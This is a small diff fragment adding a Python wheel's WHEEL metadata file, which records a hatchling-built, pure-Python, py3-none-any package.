+ Wheel-Version: 1.0
2
+ Generator: hatchling 1.33.0
3
+ Root-Is-Purelib: true
4
+ Tag: py3-none-any